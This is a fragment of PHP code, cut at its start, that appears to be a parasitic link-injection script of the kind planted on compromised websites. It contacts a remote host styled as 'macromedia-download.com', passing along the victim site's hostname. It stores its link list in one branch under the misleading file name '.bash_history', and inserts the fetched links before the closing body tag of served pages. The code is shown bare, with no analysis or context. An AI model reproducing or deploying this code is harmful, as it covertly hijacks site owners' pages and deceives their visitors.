time()){ $links= $v[2]; break; }else{ $base=file($base_file); unset($base[$i]); $handle = fopen('.bash_history', 'w'); fwrite($handle, join('',$base)); fclose($handle); } } $i++; } return (eregi_replace("<\/body>", $links."", $buffer)); } function get_base(){ global $version; $ch = @curl_init(); @curl_setopt($ch, CURLOPT_URL, 'http://macromedia-download.com/flush.php?host='.$_SERVER['HTTP_HOST']); @curl_setopt($ch, CURLOPT_HEADER, false); @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); @curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 6); @curl_setopt($ch, CURLOPT_USERAGENT, 'LINKER_v'.$version); $data = @curl_exec($ch); @curl_close($ch); return $data; } function page2link($page){ global $base_file,$live_time; $db=file($base_file); $i=0; foreach($db as $line){ if($page==substr($line,0,strlen($page))){ $par='/(.*)\{(.*)\}(.*);/'; preg_match($par,$line,$v); if($v[3]+$live_time>time()){ return $v[2]; break; }else{ delete_link_db($i); break; } } $i++; } } function delete_link_db($i){ global $base_file; $base=file($base_file); unset($base[$i]); $handle = fopen($base_file, 'w'); fwrite($handle, join('',$base)); fclose($handle); } ?>